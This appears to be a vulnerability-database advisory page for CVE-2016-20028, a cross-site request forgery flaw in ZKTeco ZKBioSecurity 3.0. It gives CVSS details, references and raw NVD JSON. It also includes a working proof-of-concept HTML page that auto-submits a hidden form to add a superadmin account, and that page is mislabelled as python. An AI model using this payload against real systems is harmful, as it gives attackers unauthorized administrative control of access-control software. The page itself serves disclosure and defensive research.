CVE-2016-20028

Description

ZKTeco ZKBioSecurity 3.0 contains a cross-site request forgery vulnerability that allows attackers to perform administrative actions by tricking logged-in users into visiting malicious websites. Attackers can craft HTTP requests that add superadmin accounts without validity checks, enabling unauthorized administrative access when authenticated users visit attacker-controlled pages.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

ZKTeco ZKBioSecurity 3.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!DOCTYPE html> <html> <head> <title>Loading...</title> </head> <body> <h1>ZKBioSecurity CSRF Exploit - CVE-2016-20028</h1> <p>Creating superadmin account...</p> <form id="csrfForm" action="http://target:8080/zbiosecurity/admin/user/add" method="POST" enctype="multipart/form-data">  <input type="hidden" name="username" value="attacker_admin"> <input type="hidden" name="password" value="P@ssw0rd123"> <input type="hidden" name="role" value="superadmin"> <input type="hidden" name="email" value="[email protected]"> <input type="hidden" name="department" value="IT"> <input type="hidden" name="status" value="1"> </form> <script> // Auto-submit the form when page loads document.getElementById('csrfForm').submit(); console.log('CSRF request sent'); </script> </body> </html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2016-20028
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2016-20028
[3] CVE Details https://www.cvedetails.com/cve/CVE-2016-20028/
[4] VulDB https://vuldb.com/cve/CVE-2016-20028
[5] https://cxsecurity.com/issue/WLB-2016080268
[6] https://exchange.xforce.ibmcloud.com/vulnerabilities/116477
[7] https://packetstormsecurity.com/files/138569
[8] https://www.exploit-db.com/exploits/40325/
[9] https://www.vulncheck.com/advisories/zkteco-zkbiosecurity-cross-site-request-forgery-superadmin
[10] https://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5364.php

Raw JSON Data

JSON

{"cve": {"id": "CVE-2016-20028", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:17:49.333", "lastModified": "2026-04-15T14:56:45.970", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "ZKTeco ZKBioSecurity 3.0 contains a cross-site request forgery vulnerability that allows attackers to perform administrative actions by tricking logged-in users into visiting malicious websites. Attackers can craft HTTP requests that add superadmin accounts without validity checks, enabling unauthorized administrative access when authenticated users visit attacker-controlled pages."}, {"lang": "es", "value": "ZKTeco ZKBioSecurity 3.0 contiene una vulnerabilidad de falsificación de petición en sitios cruzados que permite a los atacantes realizar acciones administrativas engañando a usuarios con sesión iniciada para que visiten sitios web maliciosos. Los atacantes pueden elaborar peticiones HTTP que añaden cuentas de superadministrador sin comprobaciones de validez, lo que permite el acceso administrativo no autorizado cuando los usuarios autenticados visitan páginas controladas por el atacante."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "LOW", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://cxsecurity.com/issue/WLB-2016080268", "source": "[email protected]"}, {"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/116477", "source": "[email protected]"}, {"url": "https://packetstormsecurity.com/files/138569", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/40325/", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/zkteco-zkbiosecurity-cross-site-request-forgery-superadmin", "source": "[email protected]"}, {"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5364.php", "source": "[email protected]"}]}}